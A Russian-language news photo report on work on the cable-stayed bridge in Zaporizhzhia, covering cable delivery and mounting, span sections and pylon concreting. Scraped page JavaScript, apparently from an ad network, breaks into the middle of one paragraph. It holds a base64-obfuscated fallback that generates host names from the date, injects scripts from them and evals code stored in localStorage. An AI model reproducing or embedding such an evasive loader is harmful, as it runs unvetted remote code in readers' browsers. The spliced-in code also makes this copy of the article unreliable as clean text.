Скоро монтировать ванты: строящийся в Запорожье мост глазами пешехода (ФОТОРЕПОРТАЖ)

Сегодня, 6 октября, в Запорожье на вантовый мост приехал глава обладминистрации Александр Старух, чтобы рассказать журналистам о ходе работ вместе с замначальника Службы автодорог в Запорожской области Александром Горбанем.

Об этом сообщает корреспондент «Акцент».

Ранее анонсировалось, что верховую часть моста подрядчик «Онур» завершит до конца 2021 года. Стало известно, что в 20-х числах октября здесь будут устанавливать ванты швейцарского производства.

На данный момент пролет верхней части поднят на 1,5 метра. Конструкцию моста будут плавно опускать по мере монтажа вантов. Однако, фактически левый берег и Хортицу уже соединили мостом.

Напомним, в Кривой бухте сейчас хранятся 38 вантов, еще 10 — должны доставить до конца октября. Ранее анонсировалось, что ванты будет перед проверкой проверять профильная австрийская фирма.

Сегодня сообщили, что проверок на новых вантах не будет, так как они имеют сертификат качества. Ванты, закупленные в 2012 году будут устанавливать после проверок на низовую часть моста, которую планируют открыть в 2022 году.

На сегодняшний день на объекте уже соединены все секции пролетного сооружения. Также проводится работа по обустройству пешеходной зоны верховой части: нанесено покрытие гидроизоляции, прокладывают электрический кабель по устанавливаемым перилам. Приготовлены крепления для вантов. var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }

В скором времени секции начнут доставлять для монтажа на низовой части. Плавкран «Захарий» уже завершил доставку временных опор, нужных для монтажа секций пролетного строения.

Напомним, по Вантовому мосту будет движение только в одном направлении. Второй поток транспорта будет идти по мосту Преображенского, расположенному недалеко.

Также продолжаются работы по бетонированию пилонов, которые нужно «вырастить» до 166 метров, то есть — на 10,6 метра. Верховой пилон уже уже удлинен примерно на 6,5 м, а низовой — на 3 с «хвостиком» с одной стороны, передает «Индустриалка».

На Балочном мосту через Старый Днепр, который планируют точно завершить в этом году, готовятся опускать пролетное строение на опоры. Компания «Онур» проводит работы на объектах 24/7 на локациях, где это допускается по технике безопасности.

Больше фото